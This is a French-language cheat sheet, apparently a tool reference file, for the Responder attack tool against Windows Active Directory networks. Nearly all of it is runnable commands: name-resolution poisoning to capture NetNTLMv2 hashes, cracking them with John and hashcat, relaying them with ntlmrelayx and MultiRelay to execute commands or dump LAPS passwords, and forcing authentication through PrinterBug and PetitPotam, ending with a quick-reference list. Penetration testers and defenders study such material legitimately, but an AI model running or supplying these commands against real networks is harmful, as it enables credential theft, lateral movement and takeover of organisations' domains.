| name | responder |
| description | Responder — LLMNR/NBT-NS/mDNS poisoner, capture de hash NetNTLMv1/v2, MultiRelay, SMB auth coercion, WPAD rogue, et attaques de relais NTLM dans Active Directory. |
Responder — LLMNR/NBT-NS/mDNS Poisoning
Présentation
Responder est un outil de poisoning de résolution de noms. Il empoisonne LLMNR, NBT-NS et mDNS pour capturer les hash NetNTLM des clients Windows.
Principe : Quand un Windows ne trouve pas un nom via DNS, il utilise LLMNR (multicast) puis NBT-NS (broadcast). Responder répond à TOUTES ces requêtes, forçant le client à s'authentifier avec son hash NetNTLM.
Installation :
sudo apt install responder
git clone https://github.com/lgandx/Responder.git
cd Responder
Lancement
Mode basique
sudo responder -I eth0
sudo responder -I wlan0
sudo responder -I eth0 -v
Options de lancement
sudo responder -I eth0 -wFb
sudo responder -I eth0 -wF
sudo responder -I eth0 -A
sudo responder -I eth0 -d -w -F
Analyse des hashes capturés
Format de hash
# Les hash sont sauvegardés dans /usr/share/responder/logs/
# Chaque hash ressemble à :
[+] SMBv2-NTLMv2 Client : 192.168.1.100
[+] SMBv2-NTLMv2 Username : DOMAIN\Administrator
[+] SMBv2-NTLMv2 Hash : Administrator::DOMAIN:1122334455667788:...:...:...
# Format adapté pour John The Ripper
cat /usr/share/responder/logs/SMBv2-NTLMv2-*.txt > hashes.txt
john --format=netntlmv2 hashes.txt --wordlist=rockyou.txt
# Format adapté pour Hashcat
sudo cat /usr/share/responder/logs/SMBv2-NTLMv2-*.txt > hashes.txt
hashcat -m 5600 hashes.txt rockyou.txt
Types de hash capturables
Serveurs activés par défaut
LLMNR (Link-Local Multicast Name Resolution)
NBT-NS (NetBIOS Name Service)
mDNS (Multicast DNS)
Autres serveurs
WPAD (Web Proxy Auto-Discovery Protocol)
Activer WPAD
sudo responder -I eth0 -wF
Fonctionnement WPAD
NTLM Relay (MultiRelay)
Relayer les hashes (au lieu de les cracker)
sudo responder -I eth0 -r -d -w -o -v
sudo python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py \
-tf targets.txt \
-smb2support \
-c "whoami"
MultiRelay (script additionnel)
cd /usr/share/responder/tools/
python3 MultiRelay.py -t 192.168.1.10 -u ALL
SMB Auth Coercion
Forcer l'authentification via des chemins UNC
PrinterBug (MS-RPRN) — Forcer une authentification
sudo responder -I eth0
python3 /usr/share/doc/python3-impacket/examples/rpcdump.py \
@192.168.1.10 | grep MS-RPRN
python3 /usr/share/doc/python3-impacket/examples/rpcdump.py \
192.168.1.10 -port 135
python3 printerbug.py DOMAIN/user:password@192.168.1.10 \
192.168.1.50
PetitPotam (MS-EFSRPC)
python3 petitpotam.py -u '' -p '' 192.168.1.50 192.168.1.10
python3 petitpotam.py DOMAIN/user:password@192.168.1.10 \
192.168.1.50
Modification de Responder.conf
Fichier de configuration (Responder.conf)
[Responder Core]
; Serveurs à activer/désactiver
SQL = On
SMB = On
HTTP = On
HTTPS = On
FTP = On
POP = On
SMTP = On
IMAP = On
LDAP = On
DNS = On
NBT-NS = On
LLMNR = On
MDNS = Off
; Serveur WPAD
WPAD = On
; Définition du serveur
Challenge = 1122334455667788
Personnalisation
SMB = Off
HTTP = Off
Challenge = AAAAAAAAAAAAAAAA
Analyse des logs
ls /usr/share/responder/logs/
cat /usr/share/responder/logs/SMBv2-NTLMv2-*.txt
cat /usr/share/responder/logs/Config-*.txt
tail -f /usr/share/responder/logs/Responder-Session.log
Scénarios complets
1. Capture de hash sur network interne
sudo responder -I eth0 -wF -v
SMB-NTLMv2-HASH:Administrator::DOMAIN:1122...:...:...
2. Relay NTLM vers un DC (SMB Signing désactivé)
sudo responder -I eth0 -r -d -w -v
python3 ntlmrelayx.py -tf targets.txt -smb2support \
-i -I 192.168.1.50
python3 printerbug.py DOMAIN/user@192.168.1.10 192.168.1.50
ncat 127.0.0.1 11000
3. Responder + Multirelay
sudo responder -I eth0 -r -d -w -v
python3 MultiRelay.py -t 192.168.1.10 -u Administrator
4. PetitPotam vers Responder + Relay
sudo responder -I eth0 -r -d -w
python3 ntlmrelayx.py -t ldap://192.168.1.10 -smb2support \
--dump-laps
python3 petitpotam.py -u '' -p '' 192.168.1.50 192.168.1.10
Dépannage
| Problème | Solution |
|---|
| Aucun hash capturé | Attendre plus longtemps, forcer via PrinterBug |
| SMB Signing empêche le relay | Crack le hash directement |
| Conflit de port | Modifier Responder.conf ou arrêter les services |
| Ne répond pas | Vérifier -I avec la bonne interface |
| WPAD ne fonctionne pas | Navigateur doit être configuré en "Auto-detect" |
Antisèche rapide
sudo responder -I eth0 -wF
sudo responder -I eth0 -A
python3 petitpotam.py -u '' -p '' <IP_ATTAQUANT> <IP_DC>
cd /usr/share/responder/logs/